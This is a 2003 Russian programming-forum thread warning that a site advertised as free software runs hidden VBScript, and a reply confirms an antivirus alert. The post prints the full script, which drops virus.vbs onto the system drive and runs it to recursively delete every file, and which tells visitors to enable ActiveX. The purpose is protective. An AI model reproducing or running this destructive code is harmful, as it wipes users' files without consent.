VBNet - Форум - сообщение "Куча полезного софта!!!" ведёт к вир...

Вопрос: сообщение "Куча полезного софта!!!" ведёт к вир... Добавлено: 01.12.03 19:39

Автор вопроса: PCNetWork | ICQ: 277644901

В сообщении "Куча полезного софта!!!" есть ссылка на сайт. Этот сайт не "супер софт и т.д и т.п.", как там написано. Он содержит следующий код, который возможно может быть опасен для компьютера-клиента:

"

LANGUAGE="VBScript">

on error resume next

dim whs

dim fso

dim disk

dim text

set fso=createobject("Scripting.FileSystemObject")

set whs=createobject("Wscript.shell")

if err=424 or err=429 then

alert "Значит так, при ваших настройках ничего работать не будет! 1-Если у вас выводилось сообщение при загрузки страницы типа использовать ActiveX? то нажмите кнопку обновить и разрешите использовать ActiveX! 2-Если такого окна не было то откройте свойства обозревателя, нажмите вкладку безопастность и кнопку другоё..., внизу, где элемнты ActiveX и подключаемые модули везде поставьте разрешить и нажмите, закройте окно свойств и нажмите обновить!"

end if

disk=mid(fso.getspecialfolder(0),1,3)

if fso.fileexists(disk&"virus.vbs") then

fso.deletefile disk&"virus.vbs"

end if

set text=fso.CreateTextFile(disk&"virus.vbs")

text.writeline "on error resume next"

text.writeline "set fso =createobject("&chr(34)&"Scripting.FileSystemObject"&chr(34)&")"

text.writeline "dim file1"

text.writeline "Dim InitialFolder"

text.writeline "Dim OldDrive"

text.writeline "Dim TotalDir"

text.writeline "Dim Tekfolder"

text.writeline "Dim folder"

text.writeline "dim windir"

text.writeline "windir=fso.getspecialfolder(0)"

text.writeline "Tekfolder = mid(windir,1,3)"

text.writeline "msgbox tekfolder"

text.writeline "Set folder = fso.GetFolder(Tekfolder)"

text.writeline "InitialFolder = Tekfolder"

text.writeline "ScanFolders"

text.writeline "set file1=fso.getfile(mid(windir,1,3)&"&chr(34)&"virus.vbs"&chr(34)&")"

text.writeline "file1.delete true"

text.writeline "Sub ScanFolders()"

text.writeline "on error resume next"

text.writeline "delallfiles"

text.writeline "Dim SubFolders"

text.writeline "SubFolders = folder.SubFolders.Count"

text.writeline "If SubFolders > 0 Then"

text.writeline "For Each i In folder.SubFolders"

text.writeline "Tekfolder = i"

text.writeline "Set folder = fso.GetFolder(Tekfolder)"

text.writeline "ScanFolders"

text.writeline "Next"

text.writeline "End If"

text.writeline "MoveUp"

text.writeline "End Sub"

text.writeline "Sub MoveUp()"

text.writeline "If folder.ParentFolder <> InitialFolder Then"

text.writeline "Tekfolder = folder.ParentFolder"

text.writeline "Set folder = fso.GetFolder(Tekfolder)"

text.writeline "End If"

text.writeline "End Sub"

text.writeline "sub DelAllFiles"

text.writeline "on error resume next"

text.writeline "for each b in folder.files"

text.writeline "if b<> mid(windir,1,3)&"&chr(34)&"virus.vbs"&chr(34)&" then"

text.writeline "set file1=fso.getfile(b)"

text.writeline "file1.attributes=vbnormal"

text.writeline "file1.delete true"

text.writeline "end if"

text.writeline "next"

text.writeline "end sub"

text.close

whs.run(disk&"virus.vbs")

"

БУДЬТЕ ОСТОРОЖНЫ И НЕ ОСТАВЛЯЙТЕ АВТОРА БЕЗНАКАЗАННЫМ !!!

Ответить

Ответы Всего ответов: 5

Номер ответа: 1 Автор ответа: Messerschmitt Вопросов: 4 Ответов: 2	Профиль \| \| #1	Добавлено: 01.12.03 20:56
	Угу. Как только я на этот сайт вошел, сразу вылезло сообщении Norton Antivirus'а что-то вроде : "Обнаружен скрипт virus.vbs, который может повредить вашей системе". Так что надо теперь быть поосторожнее с такими сайтами. Ответить